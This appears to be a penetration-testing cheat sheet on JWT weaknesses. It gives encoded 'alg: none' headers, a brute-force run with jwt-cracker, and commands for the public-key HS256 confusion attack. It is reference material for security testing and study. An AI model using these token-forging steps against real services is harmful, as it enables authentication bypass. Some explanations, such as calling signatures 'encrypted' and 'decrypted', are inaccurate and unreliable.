killchain-compendium/exploit/web/jwt/jwt.md

3.4 KiB

JSON Web Token

Build up

header.payload.signature
  1. Header: This consists of the algorithm used and the type of the token.
{  "alg": "HS256", "typ": "JWT"}
  1. Payload: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.

  2. Signature: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)

NONE Algorithm Vulnerability

  • Example with alg: NONE, so no third part is needed.
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
  • Encoded headers are as follows
    • {"type": "JWT", "alg": "none"}
      eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0
      
    • {"typ":"JWT","alg":"NONE"} with trailing \n
      eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K
      

Brute Force

HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
Parameter Details
Token The HS256 JWT Token
Alphabet Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")
max-length Secret max length (default: 12)
[whackx@manbox jwt-cracker]$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz 4
Attempts: 100000
Attempts: 200000
Attempts: 300000
SECRET FOUND: pass
Time taken (sec): 11.605
Attempts: 346830

HS256 Vulnerability

It is calculated by using server K_pub, which may be gained via content of the server cert

Build Up

  • Changing the header to {"typ": "JWT", "alg": "HS256"}, spaces inbetween values.
$ echo -n '{"typ": "JWT", "alg": "HS256"}' | base64
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
  • Encoding the payload, no spaces inbetween. Cut == at the end.
echo -n '{"iss":"http://localhost","iat":1585323784,"exp":1585323904,"data":{"hello":"world"}}' | base64
eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ== 
  • Crafting the HMAC signature
    • Convert K_pub file to hex
    cat id_rsa.pub | xxd -p | tr -d "\\n"
    
    • Sign the message to get the signature as hex value
    echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey <converted_public_hex>
    
    • Decode hex to binary data and reencode as base64 via python
    python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('<signature_as_hexval>')).replace('=','')\")" 
    

Tools